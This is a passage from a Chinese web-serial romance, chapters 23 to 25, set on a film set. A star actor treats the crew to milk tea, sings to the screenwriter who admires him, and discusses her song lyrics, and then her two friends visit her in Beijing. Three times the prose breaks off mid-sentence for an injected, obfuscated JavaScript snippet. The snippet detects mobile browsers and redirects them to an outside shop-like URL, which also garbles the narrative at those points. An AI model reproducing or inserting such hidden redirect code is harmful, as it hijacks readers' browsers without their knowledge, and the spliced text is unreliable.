“在说‘春天的第一杯奶茶’!”桑华快人快语,又把那个网络梗解释了一遍,末了笑了笑,“沈老师要不要加入?我准备给咱们组里几个女孩子都点一杯,凑个热闹。” 沈淮时沉吟了一下,目光扫过闻朝,然后他抬眼,看向桑华,声音不高,却足够清晰,“不用了。既然说到‘春天的第一杯’,又是开工第一天……”他顿了顿,似乎在考虑措辞,但表情是放松的。“我请大家吧。” 桑华愣了一下,随即眼睛亮起来,“真的?沈老师请客?那敢情好!全组都有份吗?” “嗯。”沈淮时点了点头,拿出手机,“想喝什么,统计一下,我来点。”他说得平淡,仿佛这只是件再小不过的事。 闻朝似乎想说什么,嘴唇微动,但沈淮时已经转向她,很自然地问道:“闻编剧喝什么?还是热的就好?” 他的问题具体而细致,直接跳过了“喝不喝”的选项,落在了“喝什么”上。 闻朝到了嘴边的话便咽了回去,她抬起眼,对上沈淮时的目光。那目光平静坦荡,带着一点询问的耐心,还有一丝不易察觉的、属于他本人的周到。 “……热的就好。”她终于说,声音比刚才更轻了一些,停顿了一瞬,犹豫着补充了两个字,“全糖。” “好。”沈淮时记下,又看向桑华,“桑华你呢?” “我要全糖!加珍珠加椰果加奶盖!”桑华笑嘻嘻地报出一长串,末了还不好意思地问,“可以吗沈老师?” “可以,想喝就点嘛。”沈淮时已经开始在手机上操作,“大概多少人?场务那边有确切数吗?” “我、我去问问!”桑华反应过来,几乎是雀跃地转身跑开了。 角落里只剩下他们两人。远处传来器械移动的沉闷响声和工作人员的交谈,衬得这一小方天地格外寂静。 闻朝还在原地,似乎有些没反应过来。她看着沈淮时低头认真计算人数、估算分量的侧脸,那双在镜头前能表达出万千情绪的眼睛,此刻微微垂着,专注地看着屏幕上的数字,长睫覆盖下来,神情是一种近乎严谨的温和。 “会不会……太破费了?”她终于轻声开口。全剧组上百号人,这不是个小数目。 沈淮时闻言,从手机上抬起眼。他没立刻回答,只是看着她。他的目光很静,缓缓落在她脸上,带着一点探究,还有更多她读不懂的情绪。 “过年吃胖了,”他忽然说,嘴角弯起一个极淡的、几乎算不上笑意的弧度,“经纪人让控制。正好,请大家一起喝,我就有理由只尝一口。” 这个理由……闻朝眨了眨眼。有点突兀,又有点孩子气的耍赖,不太像平时那个滴水不漏、沉稳有度的沈淮时。 但她没再说,只是轻轻点了点头,“……谢谢。” “不客气。”沈淮时收回目光。 桑华这时候跑了回来,脸上因为兴奋和跑动泛着红,“问清楚了!加上所有工作人员和临时演员,大概一百二十人左右!沈老师,这……” 显然就算是她也觉得这个数目不算小。 “好。”但沈淮时只是点了点头,脸上没有什么特别惊讶的表情,仿佛这个数字很普通。 消息很快传开,起初大家只是窃窃私语,但很快就变成了欢呼和确认。整个剧组都因这意外的“立春福利”而泛起小小的欢腾。 剧组工作人员脸上露出了真切的笑容,就连忙碌的步伐都变得轻快了。 副导演张礼笑着过来拍了拍沈淮时的肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276101|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀,“淮时,可以啊。刚开工就放大招,破费了啊!” “应该的,图个开工大吉。”沈淮时的目光状似不经意地掠过人群边缘那道安静的身影。 “哇哦!沈老师万岁!” “要贵的!加满料!” “我要热乎乎的芋泥波波!” 现场顿时一片欢腾,年轻的工作人员们已经迫不及待地开始讨论口味。助理许安不用沈淮时吩咐,已经机灵地拿出手机,开始统计人头和需求。 “大家把想喝的告诉许安,”沈淮时提高了一点声音,确保每个人都能听到,他的目光再次扫过全场,在某个方向略微停顿,“今天立春,也算讨个好彩头,希望我们这部剧,也能借着春意,顺顺利利,开花结果。” 他的声音不高,却清晰地传到了每个人耳中。 导演陈序赞许地点了点头,几个资历老些的演员也露出了笑容。这番话说得漂亮,既应了景,又鼓舞了士气。 闻朝站在稍远一点的器材箱旁边,听着他清朗温和的声音,此刻的他,却仿佛被这立春的微光和众人的笑闹染上了一层真实的暖意。 大约两个小时后,几大箱奶茶被送到了片场。不是敷衍了事的廉价品牌,而是本地颇有名气、用料扎实的茶饮店。 店员们小心翼翼地搬下来,印着知名茶饮店logo的精致纸箱数量很多,堆在那里几乎堆成了小山。 包装精致,甚至细心地按照各人要求贴好了标签,热的、冰的、多糖、少糖、加料……分得清清楚楚。 “沈老师破费了啊!”导演拿着他那杯无糖的热乌龙,拍了拍沈淮时的肩膀。 “应该的。”沈淮时笑了笑,自己也拿了一杯简单的热美式。他的目光在分发奶茶的人群中逡巡,很快找到了目标。 闻朝正从许安手里接过她的那杯。杯子是温热的,标签上手写着“桂圆红枣茶,热,全糖”。 她有些意外地看了一眼标签,不是她刚才随口说的“热的,全糖”那么简单,指尖触及杯壁的温暖,轻轻握紧。 “谢谢。”她对许安低声说,然后捧着杯子,走回自己惯常待的那个靠窗的角落。 那里摆着一张简单的折叠桌和一把椅子,桌子上放着她的笔记本电脑和一些剧本资料。 她解开围巾,露出一张白皙清秀的脸,低头小心地插上吸管,喝了一小口。温热微甜、带着桂圆和红枣特有香气的茶液滑入喉咙,瞬间驱散了清晨残留的寒气,连紧绷的肩颈似乎都松弛了一些。 她靠在窗边,低着头,将奶茶放到桌边,手指开始在键帽上跳跃,阳光在她睫毛上跳跃,侧影安静而专注。 沈淮时站在不远处,手里咖啡的香气袅袅上升。 立春的暖阳,热茶的氤氲,片场逐渐响起的、为一天工作做准备的嘈杂声响,还有角落里那幅安静的画面……这一切混杂在一起,构成了一种具体而微的“春天”的实感。 比他见过的任何一场时装周的华服盛宴,比任何镜头前精心设计的光影,都要真实,都要更加抚慰人心。 他忽然想起除夕夜她撤回的消息、想起那句隔着屏幕带着旧诗词气韵的“愿君千万岁,无岁不逢春”、想起她最后说的那句“春天见”。 23. 想听歌吗 拍摄中场休息的哨声响起时,紧绷的片场瞬间松弛下来。 闻朝依旧蜷在靠窗那张折叠椅上,趴在桌子上埋首在笔记本上写着什么,笔尖悬停在纸面上,迟迟没落下。 她蹙着眉头无意识地用笔一点点地轻扣桌面,仿佛能激起她的灵感。 下一秒,一道万分熟悉的声音毫无预兆地响起,“在干嘛呢?”声音低沉磁性,带有一丝刚结束的松弛。 闻朝浑身一激灵,几乎是本能地将笔记本合上。她猛地抬头,撞进一双含着戏谑和探究的眼眸。 沈淮时不知道何时站到她椅子旁边,微微倾身。 “没……没写什么啊?”声音刚出,她这才发觉竟然有一丝颤抖。 沈淮时没立刻接话,狐疑地盯着她看了几秒,视线缓缓下移”,落到她那双因为用力而微微发白的手,纸页都被捏的留有些折痕。 他盯着看了几秒,眉梢动了动,他似乎很想知道那被死死护住的纸张上究竟写了什么,但最后他还是选择了温和提醒,“你捏的太狠了,”他开口声音很轻,带着点无奈,“纸张都快要破了。” 闻朝猛然回神,顺着他的视线落到自己手上,果然看到笔记本的纸张已经被她捏得起皱,略有些尴尬地看向笔记本。 她讪讪地松开了手,指尖有些发麻。在她松手的那一刻,纸张开始缓慢地回弹,但是那些折痕却依旧存在,像是某种“谴责”。 “不好意思……”她低声道,声音细如蚊呐,下意识地想去抚平那些褶皱。 都说在喜欢的人面前要表现出自己最完美的那一面。 可她呢? 除夕夜语无伦次的撤回和笨拙的祝福,现在更是蠢到差点把自己的笔记本捏碎。 好像每次,她在他面前只有狼狈。 就在她恨不得原地消失,或者找个地方钻进去的时候,头顶那道声音又响了起来,带了点转移话题的刻意。 “想听歌吗?” 她抚平纸张的手指突然顿住,茫然地抬起了头,几乎没有思考,下意识反问:“什么歌?” 沈淮时显然也愣住了,大概没想到她的回答竟然不是“想”或者“不想”,而是具体的一个反问。至于什么歌,他反而没细想,似乎只是随口一提,为了缓解她那显而易见的尴尬。 静默在两人之间蔓延,没有一个人开口说话。 沈淮时看着她微微瞪大、尚且有一丝慌乱的眼睛,从那双眼睛里,他能够清晰地看到自己的倒影。 鬼使神差的,他听到了自己说:“你想听什么歌,我给你唱。”他的声音平静,甚至有些理所当然。 他的话让她的心脏像是被一只无形的手轻轻攥了一下,又倏然松开。 这句话本身以及他说出话的平淡和自然,让她恍惚,好像他们之间隔着的那层名为“偶像与粉丝”和“演员与编剧”的隔膜在这一刻被模糊了界限。 “你……你要给我唱啊?!”她声音的惊讶驱散了残余的紧张。 “嗯,”沈淮时淡淡地点头,仿佛这是再自然不过的一件事,他甚至微微侧头,带着似笑非笑的语气,“难道你不想听我唱歌吗?小粉丝。” 最后三个字被他用一种近乎气音的语调念出来。 “没有,我超想听的!”闻朝几乎是条件反射般的脱口而出,羞赧和不知所措交织。但在他面前,她并不想总是露怯。 “那就给你唱《遇见》吧,”沈淮时似乎很轻地笑了一下,环顾了一下四周,顺手从旁边拖过一把闲置的折叠椅,自然地坐在她身旁,“没有拿吉他,就给你简单清唱一下,将就听吧。” 没有前奏、没有伴奏,他就那样坐在略显简陋的椅子上,挺直脊背,目光落在前方,酝酿了一下情绪,然后开口唱道: “我遇见谁会有怎样的对白, 我等的人她在多远的未来, 我听见风来自地铁和人海, 我排着队拿着爱的号码牌, ……” 从沈淮时刚开口唱出第一个音的时候,闻朝就突然觉得鼻腔猛地一酸。 他的嗓音比她记忆中听过的任何录音都要低沉温柔,带有一种没有经任何修饰的干净和透亮。 周围还有走动的人谈笑着,但他的歌声却仿佛自带结界,将这一小方天地隔绝。他微垂着眼眸,侧脸的线条在灯光的照耀下更加柔和。 而他在歌里等的人,会是谁呢…… 这个念头毫无防备地钻进她脑海,闻朝觉得心口像被针扎了一下,泛着细密的酸涩。她不敢再深想,只觉得眼眶越来越热,视线逐渐模糊。 当沈淮时缓缓唱完最后一句,闻朝几乎是仓促地转身,背对着他借着衣袖,轻轻擦拭自己眼角控制不住落下的湿意。 “怎么了?不好听吗?”身后传来沈淮时略带迟疑的声音,见她转身,他有一瞬间的无措,甚至带有一丝的自我怀疑,“是了,很久没在舞台上唱过歌了……” “不……不是,很好听。”她急忙否认,甚至顾不上自己声音里还压不下去的哽咽。她不愿意看到他因为自己而流露出一丝的失落和自我怀疑。 闻朝努力平复自己的情绪,深吸一口气,然后转身重新面对他。 她看着他,用力地、认真地鼓起了掌,“是太好听了,我都听哭了。”她重复着,声音有些发颤,“太好听了!!!” 沈淮时没说话,只是静静地看着她,他大概沉默了十几秒,目光落在她泛红的眼眶和真诚的脸上。 片刻他才缓缓开口语气有些幽深,“那你的本命……现在变成鹤言了?” 什么?! 闻朝猛地怔住了,不敢相信自己的耳朵,她听到了什么? 鹤言?那个因为一档音乐综艺而人气飙升的新生代歌手?前两天她确实在朋友圈发过他的一首歌,只是随口说了句“歌不错”。 可沈淮时怎么会知道?他看了她的朋友圈?而且,他的语气中怎么还透露出一丝幽怨的气息呢? 这还是那个在片场休息的时候会跟动作指导讨论奥特曼哪个形态最强、相信光的沈淮时吗? 她愕然地望着他,试图从他脸上找到开玩笑的痕迹,可他只是目光执拗地看着她,似乎在等她的答案。 那目光让她准备好的调侃话都卡在了喉咙里,她抿了抿唇,将心下的疑惑压下去,斟酌着字句,小心回答:“没有啊,怎么会?你才是我的本命啊。”她的声音不自觉地放软了些,带着急于澄清的意味,“我就是觉得鹤言唱歌蛮好听的,才会在朋友圈发他……” “是吗?”沈淮时拖长了语调,嘴角勾起一个明显的弧度,戏谑道,“别被我逮到你爬墙噢。” 这句话说的半真半假,可能开玩笑的成分更多,可传到在她耳中,却让她的心跳漏了一拍。 “淮时,下一场准备开拍了。”不远处,陈序扯着嗓子在喊他,打破了两个人之间微妙的气氛。 “来了。”沈淮时闻声收回目光,应了一声。他站起身将椅子推到原位,临走前留下一句:“我先去拍戏了。”然后转身朝着灯光聚集处走去。 四周再次恢复安静,闻朝傻愣愣地看着沈淮时离去的背影,看了很久很久。 直到这一刻她才突然觉得有些不对劲。 太自然了,太熟络了。 他们之间的相处模式在不知不觉间发生了改变,不再是最初带着距离和分寸的粉丝和偶像,亦或者演员与编剧的相处模式。 他会突然出现吓她一跳、会留意她意外捏皱的笔记本、会因为她转发别人的歌而“兴师问罪”、会用“小粉丝”这样的称呼调侃她,甚至会坐下来为她一个人清唱歌…… 这样的距离早已经超越了普通同事,甚至是关系不错的朋友之间该有的边界。 最开始知道沈淮时要来出演的时候,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276102|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最大的奢望不过是能拥有几个月“同事”的关系,能够近距离的、光明正大的看着他工作的机会。 等到杀青那天,便是梦醒的那天。他继续当回那个闪闪发光被万千人簇拥着的大明星,而她继续归于茫茫人海。 可是现在,这个线,好像在无意中被扯断了。 她心里其实是很欢喜的,每一次的靠近都能让她雀跃。可随着雀跃而来的,还有不安与惶恐。 她总觉得自己不该奢求太多,这只是一场美好易碎的梦境。 可是,当他带着自己踏进他世界的“错觉”越来越频繁。 或者,这是错觉?还是…… “闻老师?闻老师!”几声呼喊将她从思绪中猛地拽回,这才惊觉有不少工作人员站在不远处好奇地看着她。 就连桑华和李言书也奇怪地看着她。 “主题曲写得怎么样了?”副导演张礼不知道什么时候凑到她桌边,看了看她摊开在桌子上的笔记本,疑惑地问,“诶,你手写啊?!” 闻朝收起自己的思绪,勉强扯出一个笑容,点了点头,回道:“我比较喜欢手写,手写字有着独一无二的浪漫。” 张礼赞同地看向她,朝她竖起了大拇指,目光却落在笔记本顶端的歌名上,看了好一会儿才迟疑地发问: “歌名就叫……《第五个季节》啊?” “嗯,”闻朝点了点头,察觉到他语气中的那点疑惑,“是有什么问题吗?” “倒是没什么问题,”张礼挠了挠头,嘟囔着,“就是有些奇怪,明明只有四个季节啊……” 他的疑问很直白,也很真实。但闻朝却一时语塞,不知道该如何向他解释这个存在她心中有些抽象的概念。 好在张礼并没有深究,很快自己就释然了,笑道:“没事,其实这名也挺好听的有特色,这样就可以,不用改名了。” 说完,正好陈序在那边喊他,他便摆摆手快步离开。 等他走远,闻朝重新低下头看着笔记本上被自己反复涂改、增删的歌词,忍不住轻轻叹了口气。 写歌真的太难了,尤其是你想表达的东西很模糊,用语言难以言说的时候。 当她终于勉强写完了主题曲的初稿,窗外天色也已经暗沉了。 摄影棚内亮起了更多的拍摄灯光,大部分人都还在忙碌着,空气中弥漫着盒饭和咖啡混合的气味。 闻朝揉了揉发僵的脖颈,然后从随身的包里拿出一个面包,小口小口地啃着,心思还落在刚才修改的某句歌词上。 “不去吃饭吗,在这啃面包。”熟悉的声音再次响起,带着一丝不赞同。沈淮时手里拿着两杯粥,很自然地走了过来,将其中一杯递给她。 “吃慢点,别噎着。”他看着她就着面包匆匆吞咽的样子,忍不住提醒,语气中带着自己都没有察觉到的熟稔。 闻朝正□□巴巴的面包噎得有点难受,这杯热粥简直是雪中送炭,她连忙接过含糊不清地道着谢:“蟹,蟹蟹腻......” 她迫不及待插上吸管,喝了一大口温热的粥,才勉强把嘴里的面包咽下去。 沈淮时看着她的样子,不知道为什么突然笑了出声。 闻朝被他笑得莫名其妙,不解地看着他,咽下自己口中的粥,才问他:“怎么了?我脸上有东西吗?” “没什么,”沈淮时止住了笑但眼底的笑意以及很明显,他的声音很轻缓柔和,带有一丝调侃,“看你吃个面包都吃得那么香,怪可爱的。” 最后四个字,被他说得很轻。 闻朝握着温热的粥,指尖传来的暖意一路蔓延到耳根。她低下头,不敢再看他含笑的眼眸,只觉得心脏又不听话地怦怦乱跳了起来。 那所谓的“第五个季节”,并非自然中所说的季节。它只是一种心境,一种超脱自然时序,独属于她的微妙而私密的时空。 比如,此时此刻。 24. 悸动是唯一的节拍 温热的粥在掌心发烫,那句轻飘飘落下的“怪可爱的”像羽毛搔在心尖最软处,留下经久不散的悸动。 闻朝垂着眼,睫毛在眼下投出两弯小小的、不安的阴影。她的视线落在摊开的笔记本上那几行被反复涂改,几乎力透纸背的字迹。 周遭片场的嘈杂声都成了模糊的背景音,唯有自己胸腔里那颗不争气的心脏,擂鼓般跳动的声音,清晰得让她耳热,脸颊也泛起了一层薄薄的红晕。 她不敢抬头,怕泄露眼中过多的情绪,只能装作专心致志地盯着笔记本上的词句,仿佛那些字能够定住她的心神。 沈淮时也没再说话,他就站在她椅子旁边,也拿着他那杯粥,有一口没一口地喝着。他的目光没有刻意落在她身上,而是随意地扫视着尚未完全收工的片场。 这种沉默并不尴尬,反而滋生出一种奇异的、共享秘密般的静谧。 直到闻朝杯子里的粥快要见底,吸管发出空响的“滋滋”声,她才猛地回神,意识到这沉默持续得有些久了。 “那个……”她清了清有些发干的嗓子,试图找点话题,“你……下一场戏拍完了?” “嗯,今天我的部分差不多了。”沈淮时收回目光,看向她,语气恢复了平时的自然,“看你这边灯还亮着,就过来看看。” 他顿了顿,视线滑向她摊开在桌上的笔记本,上面是涂改得密密麻麻的歌词,“写得不顺?” 闻朝下意识又想合上本子,手指动了动,最终还是忍住了。在他面前,似乎也没什么好隐藏的,反正最狼狈的样子都被看过了。 她泄气般叹了口气,指尖无意识地划过那句反复修改的副歌,“嗯,总觉得差点意思。想表达一种……在常规时间之外的感觉,但写出来又有点词不达意。” “《第五个季节》?”沈淮时念出歌名,声音不高,带着点思索的意味,“很有意思的名字。” “张导说有点怪,只有四个季节。”闻朝自嘲地笑了笑。 “四季是自然的法则,”沈淮时忽然开口,声音低沉而平稳,“但人的感受,很多时候可以不用遵守那些规则。” 他目光落在那些字句上,像是在认真阅读,又像是穿透了纸张,看到了别的东西。“那个脱离常规轨道的‘季节’,也许更真实。” 她愕然抬眸,望进他沉静的眼。 他眼中没有太多情绪,只是平静地陈述,仿佛在探讨一个纯粹的创作命题。 但不知为何,她就是从这平静里,听出了一丝……共鸣? “你……”她迟疑着,不知该不该问下去。 “演员嘛,”沈淮时似乎看穿她的疑惑,扯了扯嘴角,那笑容里有一闪而过的、近乎自嘲的痕迹,“揣摩各种极端情感是工作。等待,失落,求而不得……都是常见的功课。” 他轻描淡写地将话题拉回安全的专业领域。 闻朝“哦”了一声,心底那点刚冒头的、微妙的悸动,又被按了回去。是了,他是专业的演员,理解这些并不奇怪。是自己又想多了。 她重新将注意力放回歌词上,沈淮时刚才的话,却像投入静水的石子,激荡出了新的思路。也许,不必过分追求华丽的词藻,最朴素的字句里,或许更有力量? 她拿起笔,在“昼夜失序的钟摆”旁边,犹豫了很久,最后还是添了一句: “悸动是唯一的节拍”。 刚落下笔,就听到旁边传来一声几不可闻的轻笑。 闻朝抬头,撞见沈淮时来不及完全收敛的、带着点促狭的笑意,他正看着她新添的那行字。 “笑什么?”她有点窘,下意识想用手遮住。 “没什么,”沈淮时摇摇头,眼底的笑意却未散,“就是觉得……很贴切。” 他的目光从歌词移到她的脸上,停留了一瞬。然后,他移开视线,抬手看了眼腕表。 “不早了,”他说,“这边结束估计还要一会儿,你一个女孩子别留太晚。需要帮忙收拾吗?或者……让助理送你?” 语气是礼貌的关切,保持着恰当的距离。 闻朝摇摇头,压下心头那点莫名的失落,“不用,我再琢磨一下就回去。谢谢你的粥。” “客气。”沈淮时点点头,没再多说什么。他捏扁了自己手中的空杯,又很自然地朝她伸出了手,“垃圾给我吧,顺手扔了。” 闻朝愣了一下,才反应过来他是要帮她扔粥杯。她连忙把空杯递过去,指尖不可避免地与他微凉的指尖短暂相触。 “走了。”沈淮时接过杯子,转身离开。他的步伐依旧沉稳,背影很快消失在通往休息区的拐角。 闻朝坐在原地,看着他的背影消失在空荡荡的走廊拐角,半晌,才缓缓收回视线。指尖被他碰过的地方,似乎还残留着一点微麻的触感。 她低头,看着笔记本上那句“悸动是唯一的节拍”,忽然觉得脸颊又开始发烫。 她用力摇了摇头,试图把那些乱七八糟的念头甩出去。 他是沈淮时,是聚光灯下万众瞩目的焦点,是万千人心中遥不可及的梦想。而她,只是一个偶然闯入他工作世界的编剧,有幸见识了他专业之外零星的真实,便误以为那是可以靠近的暗语。 但是,仅此而已。 那些似有若无的靠近,那些意有所指的话语,那些突如其来的温柔……或许,只是他性格里自带的教养和周到,是她这个“小粉丝”滤镜太厚,自作多情地硬要在字里行间里寻找那独属于自己的隐喻。 她合上笔记本,开始收拾散落在桌上的纸笔。动作有些机械,心思却依旧飘忽。 ------ 回到短租公寓的时候,当她再次翻开那本写歌的笔记本时,那句“悸动是唯一的节拍”占据了她的整个视线。 或许是因为他那句话,闻朝想要继续往下创作的想法变得异常灼热。 她拿起笔,顺着那滚烫的思绪继续往下写。 写到最后一句的时候,她突然顿住了,脑海浮现的是沈淮时离开时背影消失在拐角的那一幕。 她停顿了很久,才落笔写下: “你转身的拐角,是季节断裂的入口; 我在这里,是无人认领的寄候” 笔尖停在最后一个字后面,留下了一个欲言又止的笔墨,她看着最后两行字看了很久。 沈淮时说的对,人的感受不必局限于时序的规则,那独属于她自己的,第五个不知名的季节。 手机屏幕亮了亮,冷白的光刺了她一下,将她从思绪中拉回。 她的笔尖停在最后一行字的上方,停顿片刻,终究还是轻轻划去“无人认领”四个字。 她重新写: “是悬而未决的季候” 是的,不必认领,也不必归属,只是悬在那里,像一场迟迟未落的雪。 写完之后,她合上笔。 手指滑开了手机屏幕,往闺蜜群里发出一条简短的信息:【明后天休息,终于能喘口气了。】 几乎是立刻就得到了回应。 宋枝发来一串欢呼的表情包:【普天同庆!那我俩订票去北京找你玩。】 【好,我在北京等你们。】 或许是这些日子的疲惫和某种隐秘的心绪交织在一起,让她只想把自己投进熟悉热闹的氛围里。 发完消息之后,她没有立即退出聊天界面,无意识地上滑着,翻看群里之前的对话。 群里大部分是宋枝和陆易安分享的生活碎片,老家街上又开了新的奶茶店、学校又开始催的毕业论文、以及马上开学对假期的不舍。 而她自己,除了偶尔回应,更多的时候只是旁观她们的热闹。在这里,属于某个人微妙却无法轻易说出口的情绪被她小心地藏在每日例行公事般的“还好”“挺忙”后面。 宋枝又发了一条消息:【把你租的公寓地址发过来,我俩到了直奔你公寓。】 陆易安跟了一个附和的表情:【对,我俩就不订酒店了。这次咱们三个终于可以再次住在一起了。】 闻朝二话不说把地址发了过去,指尖微顿,又默默补充了一句:【地址发过去了,不过……可能有点挤。】 【挤怕什么!】陆易安很快就回了消息,【当年咱仨挤在一张小床上都能挤得下呢。】 【就是就是。】宋枝附和,【机票定了明天一早的,大概十点左右就能到北京,别忘了接我俩】 闻朝回了个OK就关上了手机。 ------ 闻朝远远就看见两个熟悉的身影杵在机场出口,脚边立着小小的行李箱。 宋枝一头利落短发,正举着手机对着机场拍照,陆易安则仰头看着机场上的广告牌上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276103|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝枝!易安!”闻朝喊了一声,小跑过去。 两人同时转头,眼睛瞬间亮起来。 “朝朝!”宋枝张开手臂扑过来,结结实实给了她一个熊抱,力道大得让她往后趔趄了一步,熟悉的柑橘洗发水味道冲入鼻腔。 陆易安微笑着站在一旁,等她抱够了,才上前轻轻抱了抱闻朝,声音温软,“好久不见,朝朝。” “好久不见。”闻朝回抱她,鼻子莫名有点酸。真实的拥抱和话语,比屏幕上的所有文字都更有力量。 “走走走,先回你那儿放东西,饿死了,飞机餐难吃死了。”宋枝一手拖着自己的箱子,另一只手极其自然地拉过闻朝的手腕,“你住哪儿?远不远?路上给我们讲讲,大编剧在剧组都遇见什么奇葩事儿了?” 陆易安笑着摇头,拖着另一个箱子跟上。 回公寓的路上,宋枝的嘴巴就没停过,从老家街坊八卦讲到过年走亲戚时的趣事,语速快得像连珠炮。陆易安偶尔补充几句,声音总是温和含笑。 闻朝被夹在中间,听着,笑着,回答着她们关于剧组生活不痛不痒的提问,心里那根绷了许久的弦,在好友肆无忌惮的喧闹声里,不知不觉松弛下来。 到了闻朝租住的小公寓,宋枝环视一圈,啧啧两声:“是挺小的,不过一个人住也够啦。” 然后毫不客气地把自己摔进那张小小的双人沙发里,舒服地叹了口气,“总算活过来了。朝朝,快,坦白从宽,抗拒从严!在剧组有没有什么……嗯?”她挤眉弄眼,未尽之意显而易见。 闻朝正在给她们倒水,闻言手指轻微地顿了一下。“能有什么,”她把水杯递过去,语气尽量轻松,“每天就是改本子,看拍摄,跟导演沟通,枯燥得很。” “少来!”宋枝坐直身体,目光如炬,“你那首《第五个季节》怎么回事?上次在群里说的含含糊糊的,肯定有猫腻!‘悬而未决的季候’?这可不是我们朝朝平时写励志小甜歌的风格。” 陆易安也坐直了身体安静地看着闻朝,眼神里是温和的探究。 她们的目光太过敏锐,让闻朝无处遁形。她握着水杯,指尖感受到玻璃壁传递出的微凉。 客厅很小,三个人的存在几乎填满了所有空间,空气里逐渐洋溢起着熟悉的信赖感,这让她那些盘旋心底、无法对旁人言说的细碎心绪,有了一个或许可以短暂栖息的安定。 她沉默了几秒,走到窗边那张小书桌前,拿起那个摊开的笔记本,翻到那一页,转身递给了宋枝。 宋枝接过,陆易安也凑了过去。 两人安静地看完那几行字,从“昼夜失序的钟摆”到“悸动是唯一的节拍”,再到最后那被修改过的“悬而未决的季候”。 客厅里一时只剩下窗外隐约传来的车流声。 “是因为……某个人吗?”陆易安先开口,声音很轻,却直击要点。 闻朝没有否认,只是轻轻“嗯”了一声,目光落在她们凑近看的那个歌词本。 “沈淮时?”宋枝挑眉,语气是陈述而非疑问。 她太了解闻朝,若不是触及心底极其特别的人,她不会写出这样充满私人化隐喻又克制隐忍的词句。 闻朝感到脸颊有些发烫,点了点头。 “哇哦,”宋枝吹了声口哨,但眼神里没有戏谑,反而多了几分认真,“我们朝朝出息了,眼光够高。不过……”她顿了顿,指着那句“悬而未决”,“就只是‘悬着’?没下文了?” “能有什么下文。”闻朝自嘲地笑了笑,把那天晚上沈淮时来送粥、讨论歌词的事情简单说了一遍,刻意省略了许多让她心跳加速的细节和眼神,只陈述了事实。“就是这样。他可能就是……人比较好,对剧组同事比较照顾,顺便给了我一点创作建议。是我自己……想多了。” 陆易安静静听完,走到闻朝身边,给了她一个拥抱,似乎想要安抚她那紊乱的思绪,“‘悬而未决’没什么不好,”她轻声说,语调温和,带了些安抚的意味,“至少证明你的感受是真实的,鲜活的。比麻木好,也比盲目一头扎进去好。” 闻朝眼眶微微发热,深吸了一口气,点了点头。“我明白。”她看着两位好友,“歌我会好好写完。至于其他的……就让它顺其自然吧。现在,”她努力让语气轻快起来,“最重要的是,欢迎你们来!那咱们是去外面吃还是点外卖?” 25. 悬而未决的季候 “去外面吃!大作家朝朝可挣了不少钱,当然要请我们顿顿吃好的!”宋枝立刻接话,从沙发上弹起来,活力满满,“我要吃烤鸭!全聚德!必须去总店!” 陆易安笑着摇头,“你就知道压榨朝朝。不过……烤鸭确实不错。” “行,那就烤鸭。”闻朝也笑了,心底最后一丝沉郁被好友的笑闹驱散,“我查查总店怎么走。不过这个点可能要排队。” “排队怕什么?咱们仨多久没一起排队了?”宋枝挽住闻朝的手臂,又把陆易安拉过来,“走走走,现在就出发!边排队边聊,我要听更多剧组八卦,特别是关于某位沈老师的……” “宋枝!”闻朝耳根发红,作势要去捂她的嘴。 三个女孩笑闹着挤出了狭小的公寓门,行李箱暂时靠墙放着,锁门声清脆。 走廊里回荡着她们混杂的脚步声和压低了却仍掩不住欢快的说笑。老旧的电梯缓缓下行,镜面映出三张年轻生动的脸庞,闻朝站在中间,左右是挚友。 那一瞬间,她觉得自己从那个只有剧本、灯光和某种隐秘悸动的“第五个季节”里,短暂地、扎实地落回了地面,落回这四季分明的人间。 全聚德总店门口果然排着长队。初春的风虽然带了些凉意,但队伍里热闹的人声、食物隐约飘散的香气,还有身边一左一右挽着她胳膊的挚友,让等待也充满暖意。 宋枝果然不依不饶,压低声音继续‘审问’。 “所以,他真的只是路过,看你灯亮着,就过去给了你一杯粥?还跟你讨论歌词?”宋枝眨眨眼,“这桥段放偶像剧里都嫌老套,但发生在现实中的沈淮时身上……啧啧。” “真的是巧合。”闻朝努力让语气听起来平淡,“剧组晚上经常有人加班,送点吃的也正常。” “那他怎么不送给别人,就送给你?”陆易安温和地插了一句,问得闻朝一愣。 “可能……可能因为我当时确实一个人,看起来比较……可怜?”闻朝自己都觉得这个理由站不住脚。 “可怜?”宋枝夸张地模仿着闻朝的语气,“‘可怜’到让沈大明星亲自过来送温暖,还站着陪你聊半天创作?朝朝,你对自己身为编剧的魅力一无所知,还是对沈淮时可能存在的‘意图’过于迟钝?” 